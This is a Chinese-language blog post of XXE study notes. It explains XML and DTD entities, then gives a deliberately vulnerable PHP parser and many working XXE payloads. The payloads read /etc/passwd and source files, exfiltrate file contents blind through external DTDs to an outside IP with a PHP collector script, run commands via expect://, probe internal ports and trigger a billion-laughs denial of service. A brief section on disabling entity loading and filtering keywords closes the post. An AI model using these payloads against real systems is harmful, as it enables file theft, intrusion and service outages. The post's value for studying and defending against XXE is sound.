XXE学习笔记

 Qiqi's Blog     2018-04-06   10394 words    & views

XXE漏洞攻击与防御

0x01 XML基础

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<!--XML申明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法元素来定义文档的结构。DTD可被成行的声明于XML文档中(内部引用),也可以作为一个外部引用

内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

实体

实体可以理解为变量,其必须在DTD中定义声明,可以在文档中的其他位置引用该变量的值

实体按类型分主要分为以下四种:

  • 内置实体
  • 字符实体
  • 通用实体
  • 参数实体

实体根据引用方式,还可以分为内部实体和外部实体

实体类别介绍

参数实体用%实体名称声明,引用时也用%实体名称;其余实体直接使用实体名称申明,引用时用&实体名称

参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

实例:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY name "qiqi">]>
<foo>
	<value>&name;</value>
</foo>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % name SYSTEM "file:///etc/passwd">
  %name;
]>

%name(实体参数)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体

外部实体

<!ENTITY 实体名称 SYSTEM "URI/URL"> <!--语法声明-->

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!--实例-->

<author>&writer;</author> <!--实体引用-->

URL中能写入的外部实体类型为:

主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

实例

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&content;</value> 
</foo>

0x02 XXE漏洞

简介

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

XXE漏洞检测

第一步:检测XML是否会被成功解析

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is qiqi">]>
<root>&name;</root>

如果页面输出了my name is qiqi,说明xml文件可以被解析

第二步:检测服务器是否支持DTD引用外部实体:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "http://localhost/index.html">  
%name;  
]>

可通过查看服务器上的日志来判断

如果支持引用外部实体,那么很有可能是存在XXE漏洞的

XXE漏洞利用

xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等

测试代码

<?php
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo 'you are ' . $user;  
?>

simplexml_load_string函数无法使用(和php版本并无关系,而是和编译时的libxml库版本有关)

漏洞测试

有回显,直接读取文件:

Payload:

使用外部实体来加载本地文件

<?xml version="1.0" ?> <!DOCTYPE creds [
<!ELEMENT user ANY >
<!ELEMENT pass ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>test</pass>
</creds>

这里声明了一个外部实体 xxe,值为 file:///etc/passwd,即本地 /etc/passwd 文件的内容

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

然后在元素 user 内引用了该实体 &xxe;

<user>&xxe;</user>

成功读取到文件:

读取存在特殊字符的文件:

当我们读取的文件内容中包含有特殊字符<&等时,会导致解析错误,读取失败

这时候我们需要借助php://filter中的base64过滤器进行编码

Payload:

<?xml version="1.0" ?> <!DOCTYPE creds [
<!ELEMENT user ANY >
<!ELEMENT pass ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/XXE/xxe.php" >]>
<creds>
<user>&xxe;</user>
<pass>test</pass>
</creds>

成功返回:

成功读取到源码,我们只要将其解码即可

Blind XXE

在之前的例子中,结果被作为响应的一部分被返回了,但如果遇到没有回显的情况,就需要使用其他办法。

因为无法直接将要读取的文件内容发送到服务器,所以需要通过变量的方式,先把要读取的文件内容保存到变量中,然后通过 URL 引用外部实体的方式,在 URL 中引用该变量,让文件内容成为 URL 的一部分(如查询参数),然后通过查看访问日志的方式来获取数据。

只有在DTD文件中声明了参数实体时,才可以引用其他参数实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ENTITY % param1 "Hello">
    <!ENTITY % param2 ",World">
    <!ENTITY % outter SYSTEM "other.dtd">
    %outter;
]>

other.dtd

<!ENYITY % name "%param1;%param2;">

参数实体name引用了参数实体param1和param2,最后的值为Hello,World

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://112.74.35.205/XXE/file.dtd">
%remote;
%int;
%send;
]>

外部dtd文件:

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; send system 'http://112.74.35.205/?p=%file;'>">

首先%remote;加载外部dtd文件,得到:

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; send system 'http://112.74.35.205/?p=%file;'>">
%int;
%send;

接着%int;获取对应的实体的值,因为值中包含实体引用%file,即/etc/hosts文件的内容,得到:

<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=[文件内容]'>

%send;

最后%send;获取对应实体的值,会去请求对应url的资源,通过查看访问日志可得到文件内容,这里还需要对内容进行编码,防止xml解析错误

本地测试,并不能成功,访问日志中只有dtd文件的访问记录,并没有获取到/etc/hosts的内容,使用XXEinjector这个工具可以获得

以下payload可以成功

payload

<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://112.74.35.205/XXE/key.dtd"> %remote;
%int;
%send;
]>

外部dtd文件内容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://112.74.35.205/?p=%file;'>">

在上面的payload中,如果要改变读取的文件,还需要修改dtd文件,很麻烦

为了方便,我们可以使用如下payload:

<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://112.74.35.205/XXE/file.dtd">
%dtd;
%send;
]>

file.dtd:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://112.74.35.205/?p=%file;'>">
%payload;

成功读取到文件内容

这里需要注意一个问题,/etc/hosts文件较小,所以可以直接利用get回显,但是如果是/etc/passwd这样比较大的文件,dtd声明中定义外部实体时,对url有长度限制,我们就需要利用zlib.deflate来帮助我们压缩,从而得以从get中获取文件内容

payload:

<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://112.74.35.205/XXE/file.dtd">
%dtd;
%send;
]>

我们将内容复制下来保存到一个文件1.txt中,然后使用base64解码再加上zlib.inflate解压即可

php://filter/read=convert.base64-decode/zlib.inflate/resource=1.txt

用之前的文件上传漏洞的后段代码读取一下

当然我们还可以弄一个直接接收文件的php

get.php

<?php
file_put_contents('xxe.txt', $_GET['xxe']);
?>

payload

<!ENTITY % remote SYSTEM "http://112.74.35.205/XXE/1.dtd">
%remote;
]>

外部dtd文件内容:

<!ENTITY % payload	SYSTEM	 "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://112.74.35.205/get.php?xxe=%payload;'>">

%int;
%trick;

这个did文件,引用了外部实体/etc/passwd作为payload的值,然后又将payload拼接到url上,进行http请求

接收到请求的get.php就将这个文件内容保存到xxe.txt中了,形成了一个文件读取的过程,最后保存到主机上

这里还遇到一个问题,当我把get.php放在与外部dtd文件同一个目录下时,就没有办法创建这个文本,但是当我放在不同目录下时就能够成功创建(并不是权限问题)

之前提到过说使用base64过滤器是为了特殊字符的干扰,然而换成别的没有特殊字符的普通纯文本文件的时候,发现如果不使用php协议中的base64过滤器,就无法接受到文件内容,只有当我们使用了base64过滤器时,我们才成功得到了文本内容

由此可以猜想:

  • 在blind XXE中必须使用php协议,而且必须使用base64过滤器
  • 使用base64过滤器并不是“由于特殊符号对于XML的影响”这一原因

XXE危害

读取任意文件

这个我们上面已经详细分析过了

执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

内网探测 内网服务攻击

在XML攻击中,大都是使用外部实体引用,那么当禁止外部实体引用时呢

这种情况下,大多数攻击都会失效,但是ssrf不会

还有一种请求外部资源的方式,直接使用DOCTYPE

<!DOCTYPE root SYSTEM "http://127.0.0.1:2333">

当端口存在时,请求只会用很短的时间,但是当端口不存在时,实用的时间将大大加长

利用这种特性,我们可以对内网进行探测。甚至向内网发起攻击

DOS拒绝服务

任何能大量占用服务器资源的方法都可以造成 DoS,这个的原理就是递归引用

<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1 ;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2 ;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3 ;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4 ;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5 ;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6 ;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7 ;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8 ;">]>
<lolz>&lol9;</lolz>

lol 实体具体还有 "lol" 字符串,然后一个 lol1 实体引用了 10 次 lol 实体,一个 lol2 实体引用了 10 次 lol1 实体,此时一个 lol2 实体就含有 10^2"lol" 了,以此类推,lol9 实体含有 10^9"lol" 字符串,从而导致拒绝服务攻击

防御

使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

Java

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

Python

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities = False))

过滤用户提交的XML数据

过滤关键词:<!DOCTYPE<!ENTITY或者SYSTEMPUBLIC

0x03 XXE的构造

参数实体以%开头,我们使用参数实体需要遵循两条原则:

  • 参数实体只能在DTD声明中使用
  • 参数实体中不能再引用参数实体

也就是说,直接在内部实体定义中引用另一个实体的这种方法是行不通的,因为定义的参数实体不能直接在当前DTD处被其他的参数实体在定义时引用

例如:

<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "http://112.74.35.205/?%param1"> %param2;
]>

这样的代码是行不通的

内部实体嵌套:

<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://112.74.35.205/?%param 1;'>">
%param2;
]>

同样,这样的代码也是行不通的,原因是不能再实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部实体连接,无论呃你曾是一般实体还是参数实体

那我们怎样才能实现嵌套呢

我们可以将嵌套的实体声明存放到一个外部文件中,这样做可以规避错误,而且这种方法可以应对过滤了file&等字符的情况

payload:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://112.74.35.205/evil.xml"> %remote;
%all;
]>
<root>&send;</root>

evil.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://112.74.35.205/?file=%file;'>">

实体remoteallsend的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发